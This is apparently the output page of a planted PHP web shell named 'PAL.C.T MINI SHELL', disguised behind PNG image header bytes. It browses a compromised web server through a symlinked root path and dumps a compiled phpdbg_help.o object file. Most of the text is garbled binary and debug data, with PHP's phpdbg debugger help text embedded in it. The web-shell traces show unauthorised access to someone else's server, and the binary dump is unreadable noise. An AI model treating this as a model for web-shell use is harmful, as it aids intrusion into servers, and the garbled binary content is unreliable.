php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/php-7.1.11/sapi/phpdbg/
upload
files >> /var/www/html/sub/images/sym/root/php-7.1.11/sapi/phpdbg/phpdbg_help.o

ELF4(UWVSÃ,}MtPEt{vt$\$$uE}uEtE8(u͋E,[^_]f7t21(tW:uuMtU:ِ1뺍UVSt5tt$$uC[^]Ðt&[^]ÍUWVSl}$EE̡$E%҃UDEЉMȉUE@1ɉEt;]ũf<*<${<\(Bu)TUԋMEu؄tj11EEt&< <
<*P<$<\Oψt;]r
1+]Eu+u;uw.Uء`D$OT$$M؃l[^_]v`+uD$ D$<t$D$JD$$f`|$D$$l[^_]G8?P$Ẽ4$UD$EЉD$Uu]<Pzz*Bh`*O}t61}}4$UEEEEM|$D$MUy|
11E{ ]M'UWVSL`D$D$D$JD$$`D$S$
Et&EH(P(UB<httRD$`L$D$eT$D$wD$D$$EXtS+pu닋EK҉L$((t$ L$$T$L$@D$D$@D$D$`$D$Su"f`D$$M$}EPT$T$@D$D$wD$D$`$D$`D$$EX+pSuaEK҉L$((t$ L$$T$L$@D$D$@D$D$`$D$Su`D$$@$L1[^_]Í&'UEt;t8t
Et&$EEt&U8EPT$PT$D$D$D$E$E$MfU8]]utuM$1]u]ÐtS uC$et}S EtB&Ep(@(ut$S T$S$T$u։4$̸"$1PE$E~$1,CD$D$D$JD$`$D$S C$lExau$P E	yx, "\!!"+-.1x3d5<7l9H<D?A,GH
NO<Q<V!V(W/X4Y9Z?\%$>:;I$>I&I:;	
:;I8

I!I/:;
&:;
:;I8
:;:;(

:;I8
:;:;
:;I
:;I8
'I:;
:;I
:;I:;:;I< 'I!'":;#:;$'I%!I/&.:;'I@
':;I(:;I):;I
*4:;I+4:;I,-4:;I..?:;'@
/4:;I
0.?:;'I@
1:;I
24:;I
34:;I44:;I5:;I
6.?:;'I@
74:;I?<84:;I9!:4:;I?
;4:;I?
C*':int,'
w2ZH4lb*;~#l:+8A)9~	l!#l;(lld:<
x	x
lr cy	#z:	'{
= 1l:V%]]]]
]]]l] ]$'%]( ],"0	$4&:8E'*:<&,/$0Z+1!26%?:HEnIEAJEHKEOLN:ZPh			:s
ll
l';	,/	-a		./
.H&
/H
1"$
O-'p|	
$~:	`	SC	=k			$	=	d get$set(	h!,	 70	4	c^8	 i<		n	("	'"		s			x	!@	v		$'
P!<t	u	zv	$wp	x:	F&ya	r{:	_|:	2}+	j~+ 	&+$	
(	
	
	p;	;	y;	`;	+;	*;	";	P;	\;	!;	;	*;	';	A	s		%	)#			a(N		a	)a	T	k#T	,Z	f	
Q8

Q

z
at
"

";
RH*,
*
N#

+L
$
"
 
$&
(
T

y	
z*u1
nu2
8*
V|(
gc
d

W
$	gc
d
h
len
val
|
X/	
,
	gc
d
u

	
a	s

	 
a	<
a	$
a	*
a 	(
$	
(

Y	(

gc
d

ace
>
U 
C
`%
Z!
t
b
gc
d

 :
!:ptr
"ET
[m
#
%
gc
&d
val
''
\
-
*
gc
+d
ast
,p,+
]
(	B$	1	5a	*x
b++
sPw1
taw2
ua
e
f&
g
hstr
iarr
jobj
kres
lref
mast
nzv
o+ptr
pEce
qL
r$ww
v1$		
b

n)
wP
|n	
}	)
}	
}	
}
{v
5t%
a

a.
a5
aF
a;$
af
a
a7&
a
a
$
	
	+
	
O
A
v
t%
a
d
	
au
$
%
A


val
h
key
`$
o

/	

	+
	f
	<
	


v

+
a
9
a
Cht
Cpos

'
["
pl
N
ECOO
plH^&@9
std:		u!;(	<8	=<n	h!	+($	A!'	s-	0	"
3	6zzn :z +zz+7
"@;	A	B;	C;	qD;	'E;	
F;	C(G;H+X()	 )	:*Z	,	0	1	2	|3	=4 	n5Z(	=7,	);G0	$>R4	6I8	*J	^K	$*X	.*YY!4: JE"U[ uE]#'M((0	-/len0pos1map2Ebuf3]	4E	s5u6&,8g	9E	'::	5+;	'<J 	$=)$	>u(t?,BfdC:fpD*Eg<A	Fr	_G,		H0	I4	fJ8K
aL %""#:$ET"%@N	A$	OBG{	8)H:	&I:	+J"O	P$	OQ	+R"W	X$	OY	#Z:	#[/		\/a	bEg#	h	Z$i:t;yt<yC-KN_rtS{]#cnj
:lD 4	5:	V6:	8:	Gk#&lT:
$$ ")#:#E
>n	 $	E,	/:	2p!nUeV&'X	YceZ	[4\`ceab^	X_	.c df^	Xg	8l	qaGr-	_	a	a			$KV#$	!%	'&"	')	F(a	+)a)\IK	JZ	(Kl	LHztsMH		NE)	OP)	zP	iQ	Rp)	Sp) 	pTp)$	
Up)(	V),	*W0	X4	\E8	$^<	_	m'`)	g$a:	bH	cE	)d:	ep\(i% v z+: : ; :+
v :=+=HCH`^l""0&+z+4~& +++:+E) +++:+2"=+++
5HNd+++9ou +++:$=++B +++J :++:M :7++:PBH^++SnVtz C+?)X C+*^ :+\_ ;`-3 ;CcNT`rdNsev| +z!i 	*k :++"l :	+++p@
t% ::+:'vKQ :p+Tp;x C++z :+++)
5
a
c
d!

ea
f
gf
h$F
iap

ja
k!
n! 
pa$
q_ (%
s:,T
ta0&
ur4^
w:8k+
x:<
y!C
z!
}C_

a
a

a
:!
+t&
:&

!4
6
 	'
op1
e op2
e 	Q
e 	+
a	5
a	%
	
	<
	
 
G_ *
Havar
Ianum
Ja<
Ka

M_ zv
R+	*
T 
 	
a	%
a	5

a	&
a
p C"
 var
a	
aend
a$
 {
@P!z
A
BE
C&
D	\
E

F
G 
J!z
K
LE
M&
N	\
O

P
Q\!
!l!a  
E!l8
"

!

a

f
$F
ap

a
"'
" $
K$
!(P!"+""
!# 
N#

!

a

f
;F
ap

a
!T#
+d#
:t#l
$#	)Y#	W*:	+
1#
t##lR!#V&		'!	$( 	(	a(	$		_
	(	:	:	C	(C	C	6"+	+	['	&(	(	u	:	UC	$	4		Y	C		
	3
	w:		+	)'	+'	)'	ƚ	E	O	:	-C	(C	
(	g'	&			N#	(	VK	*	G$	%	`a	t
a	Q(	!(	\'E	!r'	K	)	!!
'	:top:max:	E]"&>+g'	!,top-a	.a	x/:0*'YZL ''ptr]end]	('}'
'B'' (top +end +	( 'm(C(#0!/(	z!0	+!1,2	!2E	!3E	!4E	!5	!6	!7C2	.!8: 	s!::$	!;:(	)!<:,
(l#(
(lI
I(lFvE)	zwrelx	*y	zHK)(V)) :p)::[)))(v)$:)) S"d)'"+ops"1	|"E	"H.	0"H.	"0 	"E$	"Ƃ(	":8	":<		"1res"	i":	":	/	"К	 ":	"]ctx"	+":eof":	M"	"ۿ	O"܅		"	"	 "	"1"e+k"B+	"1	|"E	":"fM+#5~+	#6,	V#7res#8"g+0$l+	$mS.	|$n	$o-	($p-	$q:	$tY. 	z$w,-$res$z,:+#,,6,6,::]:EB+B%#+G,$#-,	L#.+	h#/,ptr#0	 #1:	F#2	#2 ,,<,,$), $,,-	$-\-	($-\-	$.b-buf$0]	K
$1	'$3:	$4:	$7:V$*7-,$:\-	!$;\-	 $;\-,,-$>-2!D	*$Bh-$T-	$V-	h$_.	$a ----b-b-:)~+-.--$c-Q$eH.	!$f-	 $f-	*$i-!$j..H.W+X"lw.sb"m"o_.}$"v.	"x/	9"y5/	r"zP/	H"{f/	"}	"/	F
"/	+"/	"/  /-. 5/-]/ :P/-:;/ :f/-V/ :/-:/l/ :/-:/ :/-/w./ :/-::E/".","0	e	"0	"0	"1	$"-1	r#"0	"	"R1	"|1	"1 	L"R1$	E"1( -00:r6,+0 :00-0 :10-/0 :-10:/6,	1 :R10:6,31 :|10:6,X1 :10::6,1 :10:E6,17"01/
1l) :,2(EEE:2C2(:22%2mem%	]	1(%
	!%2	%2v%
I2&2T	'_h'28')3	$'*4	 '+a	*'24ptr'6944O&'3!'93std':		
'<z(	 '?,	%'B0	'E4key'G	''I	+'K+	'M	'S	'W2	 'Z	+']		'_+	)
'`a'.4	'/4	*'043,',)4ht'-
~%'1)4
394l'3X4'44W'54("4@#U$(%	9	
R
/)
3QD#(3X4 	(54,(6P5	(74num(8	m(9	z(=P5	[*(Aq5str(B]len(C 	(D5$top(E5((:q5	z(;]	X(<(>5	(?]	z(@]4(\55 :5554(^5%&((_T6	z(`	M(atip(b	5 (c	8(d	'(e5	Y(fT6	 (g]	$(hT6 	+(i$Z65(s6num(t:	3(u4	 (v(w_6)6len)l	u)	')	%)	#)	f) :\))!6"*6$7	z*7]	%*8	*947
47l$7M'*:6+e7idx+ptr+E9+D7+{7++ 7+!7Q+"e7
77lp7+%7	m+&	!+'	:'+(	R+)7+*7,,%8
g N&M,37,>;8,Uo8ref,VI9	U,WI9	,X
,A8zv,B+ref,C,D
ptr,EE,,L8zv,M,N
ref,Oht,P
str,Q^l,@C9	m,Fo8	,G	,H%8ref,I	,J
	,KC9<	,R808Q	,S8,,e|9zv,fref,ght,h
x,[:id,\a		,]:	+,^	*,_
:	$,`
:	$,a
	c%,bC	E,cstr,d	,iT9I9|9,j|9]
-&:v$-z:	- z:	-!	-"	_-#	-$_ op-%_ :o*-(:-):	(-*:	-+z::#.:ptr.fd. :# .%J;*.&.':fd.(:tag.)]msg.*]
.+:xml.,]%.-:c.>bp.>	1.
	.
	,.	.	&+.6	.a	.]	*.6	^.5	./	.7.7z .
$.
.
.
}#.C.C.]
..	>B.].ops.
('..:.:...>.>.>(.
.) .'.:*.z:io.!>eol.":.#/".$:-
..:./	,.1>	 ".2>	z.3]	y).4	7%.6	.70	g.9?	#.::
%.;2
W .=(
+.?s
.A]
 .B]
G.C:
.D:
.I


>l
: (>x:> (>+]>
:>l
]>l

?
?l?97
)?%l^.JJ;/*Z?key/+]	u/,]~/-5?&:?'key'len4(M?h)T6*cT6+:lT6&K]4@'key4@*p9@@,--]Z?.,7A)u,]*new.]c*p.]*q.]+E0/-G1l-U2l/
4P+5N/
6lX+[8ln+9l+
;:+Q=]\+	>l+l?lW0:A152cT6\3T64len:E.A)]+*]c.[>A5cmdA/]lT66:@DB)5*cmdT6*n:77

nBl
-	xyB^B7)/#8h"'cB8
'dB8'eB8'fB-G,
5Bl7#/#BB
Z?Bl7)//B
5C97>0C"C
C7e)?77
7)/#:#"mCB;)XB7>0CC
C7e)?
/php-7.1.11/sapi/phpdbg/usr/include/usr/lib/gcc/i686-redhat-linux/4.4.7/include/usr/include/bits/php-7.1.11/Zend/php-7.1.11/main/php-7.1.11/main/streamsphpdbg_help.cstdint.hstddef.htypes.hsigset.htime.hstdio.hlibio.hzend_long.hzend_types.hzend_object_handlers.hzend.hzend_compile.hzend_ast.hzend_alloc.hzend_iterators.hstat.hzend_stream.hsiginfo.hsignal.hsigaction.hzend_API.hzend_modules.hsetjmp.hsetjmp.hzend_globals_macros.hzend_globals.hzend_stack.hzend_objects_API.hfpu_control.hzend_arena.hzend_execute.hzend_ini.hphp_streams.hphp_stream_context.hphp_stream_filter_api.hphpdbg_sigsafe.hphpdbg_out.hzend_generators.hphpdbg_cmd.hphpdbg_lexer.hphpdbg_utils.hphpdbg_btree.hphpdbg_watch.hphpdbg_opcode.hphpdbg.hphpdbg_help.hphpdbg_prompt.h8j
.w.	tu=KTk=U@z^?Y;=V>/	Xwt	<l8N?9?TT
冇)Aa
./;@>]'t>=s~8jKey>:W>=9ZXׁUɁ!Xg/;Ke=-=u-UhXt-K7?IY>G
`xXEL=;=ʸ>GL"tf?OZ=z!zz xfr f>0J*<ZXcth]g1g=tX<tX:\><help %r msg="%s" />Output overrun of %lu bytesoverrun="%lu"help%s
<helpcommands %r> %c     %-20s  %salias="%c" name="%s" tip="%s"command %c %c   %s %-*s  %ssubcommand</helpcommands>h %c     %-20s  %s
aliasinfo<helpaliases>alias</helpaliases>aliases!overview!duplicate!aliasesshow alias listoptionscommand line optionsoverviewhelp overviewphpdbginitphpdbginit file formatsyntaxsyntax overviewbackbreakcleanclearevexecstdinfinishframegeneratorinfoleavelistcontinueprintregisterrunsetshsourceexportstepnextuntilwatchBelow are the aliased, short versions of all supported commandsparent_alias="%c" alias="%c" parent="%s" name="%-*s" tip="%s"
requested help page could not be foundCommand: **%s**  Alias: **%c**  **%s**
Internal help error, non-unique alias "%c"type="ambiguousalias" alias="%s"
**phpdbg** is a lightweight, powerful and easy to use debugging platform for PHP5.4+
It supports the following commands:

**Information**
  **list**      list PHP source
  **info**      displays information on the debug session
  **print**     show opcodes
  **frame**     select a stack frame and print a stack frame summary
  **generator** show active generators or select a generator frame
  **back**      shows the current backtrace
  **help**      provide help on a topic

**Starting and Stopping Execution**
  **exec**      set execution context
  **stdin**     set executing script from stdin
  **run**       attempt execution
  **step**      continue execution until other line is reached
  **continue**  continue execution
  **until**     continue execution up to the given location
  **next**      continue execution up to the given location and halt on the first line after it
  **finish**    continue up to end of the current execution frame
  **leave**     continue up to end of the current execution frame and halt after the calling instruction
  **break**     set a breakpoint at the specified target
  **watch**     set a watchpoint on $variable
  **clear**     clear one or all breakpoints
  **clean**     clean the execution environment

**Miscellaneous**
  **set**       set the phpdbg configuration
  **source**    execute a phpdbginit script
  **register**  register a phpdbginit function as a command alias
  **sh**        shell a command
  **ev**        evaluate some code
  **quit**      exit phpdbg

Type **help <command>** or (**help alias**) to get detailed help on any of the above commands, for example **help list** or **h l**.  Note that help will also match partial commands if unique (and list out options if not unique), so **help clea** will give help on the **clean** command, but **help cl** will list the summary for **clean** and **clear**.

Type **help aliases** to show a full alias list, including any registered phpdginit functions
Type **help syntax** for a general introduction to the command syntax.
Type **help options** for a list of phpdbg command line options.
Type **help phpdbginit** to show how to customise the debugger environment.
Below are the command line options supported by phpdbg

**Command Line Options and Flags**
  **Option**  **Example Argument**    **Description**
  **-c**      **-c**/my/php.ini       Set php.ini file to load
  **-d**      **-d**memory_limit=4G   Set a php.ini directive
  **-n**                          Disable default php.ini
  **-q**                          Suppress welcome banner
  **-v**                          Enable oplog output
  **-b**                          Disable colour
  **-i**      **-i**my.init           Set .phpdbginit file
  **-I**                          Ignore default .phpdbginit
  **-O**      **-O**my.oplog          Sets oplog output file
  **-r**                          Run execution context
  **-rr**                         Run execution context and quit after execution (not respecting breakpoints)
  **-e**                          Generate extended information for debugger/profiler
  **-E**                          Enable step through eval, careful!
  **-s**      **-s=**, **-s**=foo         Read code to execute from stdin with an optional delimiter
  **-S**      **-S**cli               Override SAPI name, careful!
  **-l**      **-l**4000              Setup remote console ports
  **-a**      **-a**192.168.0.3       Setup remote console bind address
  **-x**                          Enable xml output (instead of normal text output)
  **-p**      **-p**, **-p=func**, **-p* **   Output opcodes and quit
  **-h**                          Print the help overview
  **-V**                          Print version number
  **--**      **--** arg1 arg2        Use to delimit phpdbg arguments and php $argv; append any $argv argument after it

**Reading from stdin**

The **-s** option allows inputting a script to execute directly from stdin. The given delimiter ("foo" in the example) needs to be specified at the end of the input on its own line, followed by a line break. If **-rr** has been specified, it is allowed to omit the delimiter (**-s=**) and it will read until EOF. See also the help entry for the **stdin** command.

**Remote Console Mode**

This mode is enabled by specifying the **-a** option. Phpdbg will bind only to the loopback interface by default, and this can only be overridden by explicitly setting the remote console bind address using the **-a** option. If **-a** is specied without an argument, then phpdbg will bind to all available interfaces.  You should be aware of the security implications of doing this, so measures should be taken to secure this service if bound to a publicly accessible interface/port.

**Opcode output**

Outputting opcodes requires that a file path is passed as last argument. Modes of execution:
**-p** Outputs the main execution context
**-p* **Outputs all opcodes in the whole file (including classes and functions)
**-p=function_name** Outputs opcodes of a given function in the file
**-p=class_name::** Outputs opcodes of all the methods of a given class
**-p=class_name::method** Outputs opcodes of a given method
Phpdgb uses an debugger script file to initialize the debugger context.  By default, phpdbg looks for the file named **.phpdbginit** in the current working directory.  This location can be overridden on the command line using the **-i** switch (see **help options** for a more details).

Debugger scripts can also be executed using the **source** command.

A script file can contain a sequence of valid debugger commands, comments and embedded PHP code. 

Comment lines are prefixed by the **#** character.  Note that comments are only allowed in script files and not in interactive sessions.

PHP code is delimited by the start and end escape tags **<:** and **:>**. PHP code can be used to define application context for a debugging session and also to extend the debugger by defining and **register** PHP functions as new commands.

Also note that executing a **clear** command will cause the current **phpdbginit** to be reparsed / reloaded.
Commands start with a keyword, and some (**break**, **info**, **set**, **print** and **list**) may include a subcommand keyword.  All keywords are lower case but also have a single letter alias that may be used as an alternative to typing in thekeyword in full.  Note some aliases are uppercase, and that keywords cannot be abbreviated other than by substitution by the alias.

Some commands take an argument.  Arguments are typed according to their format:
     *  **omitted**
     *  **address**      **0x** followed by a hex string
     *  **number**       an optionally signed number
     *  **method**       a valid **Class::methodName** expression
     *  **func#op**      a valid **Function name** follow by # and an integer
     *  **method#op**    a valid **Class::methodName** follow by # and an integer
     *  **string**       a general string
     *  **function**     a valid **Function name**
     *  **file:line**    a valid **filename** follow by : and an integer

In some cases the type of the argument enables the second keyword to be omitted.

Type **help** for an overview of all commands and type **help <command>** to get detailed help on any specific command.

**Valid Examples**

     $P quit
     $P q
     Quit the debugger

     $P ev $total[2]
     Evaluate and print the variable $total[2] in the current stack frame
    
     $P break 200
     $P b my_source.php:200
     Break at line 200 in the current source and in file **my_source.php**. 

     $P b @ ClassX::get_args if $arg[0] == "fred"
     $P b ~ 3
     Break at ClassX::get_args() if $arg[0] == "fred" and delete breakpoint 3

**Examples of invalid commands**
     $P #This is a comment
     Comments introduced by the **#** character are only allowed in **phpdbginit** script files.
Note that aliases can be used for either command or sub-command keywords or both, so **info b** is a synomyn for **info break** and **l func** for **list func**, etc.

Note that help will also accept any alias as a parameter and provide help on that command, for example **h p** will provide help on the print command.
Parameter is not unique. For detailed help select help on one of the above commands.Provide a formatted backtrace using the standard debug_backtrace() functionality.  An optional unsigned integer argument specifying the maximum number of frames to be traced; if omitted then a complete backtrace is given.

**Examples**

    $P back 5
    $P t 
 
A backtrace can be executed at any time during execution.Breakpoints can be set at a range of targets within the execution environment.  Execution will be paused if the program flow hits a breakpoint.  The break target can be one of the following types:

  **Target**   **Alias** **Purpose**
  **at**       **A**     specify breakpoint by location and condition
  **del**      **d**     delete breakpoint by breakpoint identifier number

**Break at** takes two arguments. The first is any valid target. The second is a valid PHP expression which will trigger the break in execution, if evaluated as true in a boolean context at the specified target.

Note that breakpoints can also be disabled and re-enabled by the **set break** command.

**Examples**

    $P break test.php:100
    $P b test.php:100
    Break execution at line 100 of test.php

    $P break 200
    $P b 200
    Break execution at line 200 of the currently PHP script file

    $P break \\mynamespace\\my_function
    $P b \\mynamespace\\my_function
    Break execution on entry to \\mynamespace\\my_function

    $P break classX::method
    $P b classX::method
    Break execution on entry to classX::method

    $P break 0x7ff68f570e08
    $P b 0x7ff68f570e08
    Break at the opline at the address 0x7ff68f570e08

    $P break my_function#14
    $P b my_function#14
    Break at the opline #14 of the function my_function

    $P break \\my\\class::method#2
    $P b \\my\\class::method#2
    Break at the opline #2 of the method \\my\\class::method

    $P break test.php:#3
    $P b test.php:#3
    Break at opline #3 in test.php

    $P break if $cnt > 10
    $P b if $cnt > 10
    Break when the condition ($cnt > 10) evaluates to true

    $P break at phpdbg::isGreat if $opt == 'S'
    $P break @ phpdbg::isGreat if $opt == 'S'
    Break at any opcode in phpdbg::isGreat when the condition ($opt == 'S') is true

    $P break at test.php:20 if !isset($x)
    Break at every opcode on line 20 of test.php when the condition evaluates to true

    $P break ZEND_ADD
    $P b ZEND_ADD
    Break on any occurrence of the opcode ZEND_ADD

    $P break del 2
    $P b ~ 2
    Remove breakpoint 2

Note: Conditional breaks are costly in terms of runtime overhead. Use them only when required as they significantly slow execution.

Note: An address is only valid for the current compilation.Classes, constants or functions can only be declared once in PHP.  You may experience errors during a debug session if you attempt to recompile a PHP source.  The clean command clears the Zend runtime tables which holds the sets of compiled classes, constants and functions, releasing any associated storage back into the storage pool.  This enables recompilation to take place.

Note that you cannot selectively trim any of these resource pools. You can only do a complete clean.Clearing breakpoints means you can once again run code without interruption.

Note: use break delete N to clear a specific breakpoint.

Note: if all breakpoints are cleared, then the PHP script will run until normal completion.The **ev** command takes a string expression which it evaluates and then displays. It evaluates in the context of the lowest (that is the executing) frame, unless this has first been explicitly changed by issuing a **frame** command. 

**Examples**

    $P ev $variable
    Will print_r($variable) on the console, if it is defined

    $P ev $variable = "Hello phpdbg :)"
    Will set $variable in the current scope

Note that **ev** allows any valid PHP expression including assignments, function calls and other write statements.  This enables you to change the environment during execution, so care is needed here.  You can even call PHP functions which have breakpoints defined. 

Note: **ev** will always show the result, so do not prefix the code with **return**The **exec** command sets the execution context, that is the script to be executed.  The execution context must be defined either by executing the **exec** command or by using the **-e** command line option.

Note that the **exec** command also can be used to replace a previously defined execution context.

**Examples**

    $P exec /tmp/script.php
    $P e /tmp/script.php
    Set the execution context to **/tmp/script.php**The **stdin** command takes a string serving as delimiter. It will then read all the input from stdin until encountering the given delimiter on a standalone line. It can also be passed at startup using the **-s=** command line option (the delimiter then is optional if **-rr** is also passed - in that case it will just read until EOF).
This input will be then compiled as PHP code and set as execution context.

**Example**

    $P stdin foo
    <?php
    echo "Hello, world!\n";
    fooThe **finish** command causes control to be passed back to the vm, continuing execution.  Any breakpoints that are encountered within the current stack frame will be skipped.  Execution will then continue until the next breakpoint after leaving the stack frame or until completion of the script

Note when **step**ping is enabled, any opcode steps within the current stack frame are also skipped. 

Note **finish** will trigger a "not executing" error if not executing.The **frame** takes an optional integer argument. If omitted, then the current frame is displayed. If specified, then the current scope is set to the corresponding frame listed in a **back** trace. This can be used to allowing access to the variables in a higher stack frame than that currently being executed.

**Examples**

    $P frame 2
    $P ev $count
    Go to frame 2 and print out variable **$count** in that frame

Note that this frame scope is discarded when execution continues, with the execution frame then reset to the lowest executing frame.The **generator** command takes an optional integer argument. If omitted, then a list of the currently active generators is displayed. If specified then the current scope is set to the frame of the generator with the corresponding object handle. This can be used to inspect any generators not in the current **back** trace.

**Examples**

    $P generator
    List of generators, with the #id being the object handle, e.g.:
    #3: my_generator(argument="value") at test.php:5
    $P g 3
    $P ev $i
    Go to frame of generator with object handle 3 and print out variable **$i** in that frame

Note that this frame scope is discarded when execution continues, with the execution frame then reset to the lowest executing frame.**info** commands provide quick access to various types of information about the PHP environment
By default general information about environment and PHP build is shown.
Specific info commands are show below:

  **Target**   **Alias**  **Purpose**
  **break**      **b**      show current breakpoints
  **files**      **F**      show included files
  **classes**    **c**      show loaded classes
  **funcs**      **f**      show loaded functions
  **error**      **e**      show last error
  **constants**  **d**      show user-defined constants
  **vars**       **v**      show active variables
  **globals**    **g**      show superglobal variables
  **literal**    **l**      show active literal constants
  **memory**     **m**      show memory manager statsThe **leave** command causes control to be passed back to the vm, continuing execution.  Any breakpoints that are encountered within the current stack frame will be skipped.  In effect a temporary breakpoint is associated with any return opcode, so that a break in execution occurs before leaving the current stack frame. This allows inspection / modification of any frame variables including the return value before it is returned

**Examples**

    $P leave
    $P L

Note when **step**ping is enabled, any opcode steps within the current stack frame are also skipped. 

Note **leave** will trigger a "not executing" error if not executing.The list command displays source code for the given argument.  The target type is specficied by a second subcommand keyword:

  **Type**     **Alias**  **Purpose**
  **lines**    **l**      List N lines from the current execution point
  **func**     **f**      List the complete source for a specified function
  **method**   **m**      List the complete source for a specified class::method
  **class**    **c**      List the complete source for a specified class

Note that the context of **lines**, **func** and **method** can be determined by parsing the argument, so these subcommands are optional.  However, you must specify the **class** keyword to list off a class.

**Examples**

    $P list 2
    $P l l 2
    List the next 2 lines from the current file

    $P list my_function
    $P l f my_function
    List the source of the function **my_function**

    $P list func .mine
    $P l f .mine
    List the source of the method **mine** from the active class in scope

    $P list m my::method
    $P l my::method
    List the source of **my::method**

    $P list c myClass
    $P l c myClass
    List the source of **myClass**

Note that functions and classes can only be listed if the corresponding classes and functions table in the Zend executor has a corresponding entry.  You can use the compile command to populate these tables for a given execution context.Continue with execution after hitting a break or watchpoint

**Examples**

    $P continue
    $P c
    Continue executing until the next break or watchpoint

Note **continue** will trigger a "not running" error if not executing.By default, print will show the opcodes of the current execution context.
Other printing commands give access to instruction information.
Specific printers loaded are show below:

  **Type**    **Alias**  **Purpose**
  **exec**    **e**      print out the instructions in the execution context
  **opline**  **o**      print out the instruction in the current opline
  **class**   **c**      print out the instructions in the specified class
  **method**  **m**      print out the instructions in the specified method
  **func**    **f**      print out the instructions in the specified function
  **stack**   **s**      print out the instructions in the current stack

In case passed argument does not match a specific printing command, it will treat it as function or method name and print its opcodes

**Examples**

    $P print class \\my\\class
    $P p c \\my\\class
    Print the instructions for the methods in \\my\\class

    $P print method \\my\\class::method
    $P p m \\my\\class::method
    Print the instructions for \\my\\class::method

    $P print func .getSomething
    $P p f .getSomething
    Print the instructions for ::getSomething in the active scope

    $P print func my_function
    $P p f my_function
    Print the instructions for the global function my_function

    $P print opline
    $P p o
    Print the instruction for the current opline

    $P print exec
    $P p e
    Print the instructions for the execution context

    $P print stack
    $P p s
    Print the instructions for the current stackRegister any global function for use as a command in phpdbg console

**Examples**

    $P register scandir
    $P R scandir
    Will register the scandir function for use in phpdbg

Note: arguments passed as strings, return (if present) print_r'd on consoleEnter the vm, starting execution. Execution will then continue until the next breakpoint or completion of the script. Add parameters you want to use as $argv. Add a trailing **< filename** for reading STDIN from a file.

**Examples**

    $P run
    $P r
    Will cause execution of the context, if it is set

    $P r test < foo.txt
    Will execute with $argv[1] == "test" and read from the foo.txt file for STDIN

Note that the execution context must be set. If not previously compiled, then the script will be compiled before execution.The **set** command is used to configure how phpdbg looks and behaves.  Specific set commands are as follows:

   **Type**    **Alias**    **Purpose**
   **prompt**     **p**     set the prompt
   **color**      **c**     set color  <element> <color>
   **colors**     **C**     set colors [<on|off>]
   **oplog**      **O**     set oplog [output]
   **break**      **b**     set break **id** <on|off>
   **breaks**     **B**     set breaks [<on|off>]
   **quiet**      **q**     set quiet [<on|off>]
   **stepping**   **s**     set stepping [<opcode|line>]
   **refcount**   **r**     set refcount [<on|off>] 

Valid colors are **none**, **white**, **red**, **green**, **yellow**, **blue**, **purple**, **cyan** and **black**.  All colours except **none** can be followed by an optional **-bold** or **-underline** qualifier.

Color elements can be one of **prompt**, **notice**, or **error**.

**Examples**

     $P S C on
     Set colors on

     $P set p >
     $P set color prompt white-bold
     Set the prompt to a bold >

     $P S c error red-bold
     Use red bold for errors

     $P S refcount on
     Enable refcount display when hitting watchpoints

     $P S b 4 off
     Temporarily disable breakpoint 4.  This can be subsequently reenabled by a **s b 4 on**.
Direct access to shell commands saves having to switch windows/consoles

**Examples**

    $P sh ls /usr/src/php-src
    Will execute ls /usr/src/php-src, displaying the output in the consoleSourcing a **phpdbginit** script during your debugging session might save some time.

**Examples**

    $P source /my/init
    $P < /my/init
    Will execute the phpdbginit file at /my/init

Exporting breakpoints allows you to share, and or save your current debugging session

**Examples**

    $P export /my/exports
    $P > /my/exports
    Will export all breakpoints to /my/exports

Execute opcodes until next line

**Examples**

    $P s
    Will continue and break again in the next encountered line

The **next** command causes control to be passed back to the vm, continuing execution. Any breakpoints that are encountered before the next source line will be skipped. Execution willbe stopped when that line is left.

Note when **step**ping is enabled, any opcode steps within the current line are also skipped. 

Note that if the next line is **not** executed then **all** subsequent breakpoints will be skipped. 

Note **next** will trigger a "not executing" error if not executing.The **until** command causes control to be passed back to the vm, continuing execution. Any breakpoints that are encountered before the next source line will be skipped. Execution will then continue until the next breakpoint or completion of the script

Note when **step**ping is enabled, any opcode steps within the current line are also skipped. 

Note that if the next line is **not** executed then **all** subsequent breakpoints will be skipped. 

Note **until** will trigger a "not executing" error if not executing.Sets watchpoints on variables as long as they are defined
Passing no parameter to **watch**, lists all actually active watchpoints

**Format for $variable**

   **$var**      Variable $var
   **$var[]**    All array elements of $var
   **$var->**    All properties of $var
   **$var->a**   Property $var->a
   **$var[b]**   Array element with key b in array $var

Subcommands of **watch**:

   **Type**     **Alias**      **Purpose**
   **array**       **a**       Sets watchpoint on array/object to observe if an entry is added or removed
   **recursive**   **r**       Watches variable recursively and automatically adds watchpoints if some entry is added to an array/object
   **delete**      **d**       Removes watchpoint

Note when **recursive** watchpoints are removed, watchpoints on all the children are removed too

**Examples**

     $P watch
     List currently active watchpoints

     $P watch $array
     $P w $array
     Set watchpoint on $array

     $P watch recursive $obj->
     $P w r $obj->
     Set recursive watchpoint on $obj->

     $P watch delete $obj->a
     $P w d $obj->a
     Remove watchpoint $obj->a

Technical note: If using this feature with a debugger, you will get many segmentation faults, each time when a memory page containing a watched address is hit.
                You then you can continue, phpdbg will remove the write protection, so that the program can continue.
                If phpdbg could not handle that segfault, the same segfault is triggered again and this time phpdbg will abort.-5aEMbk
y
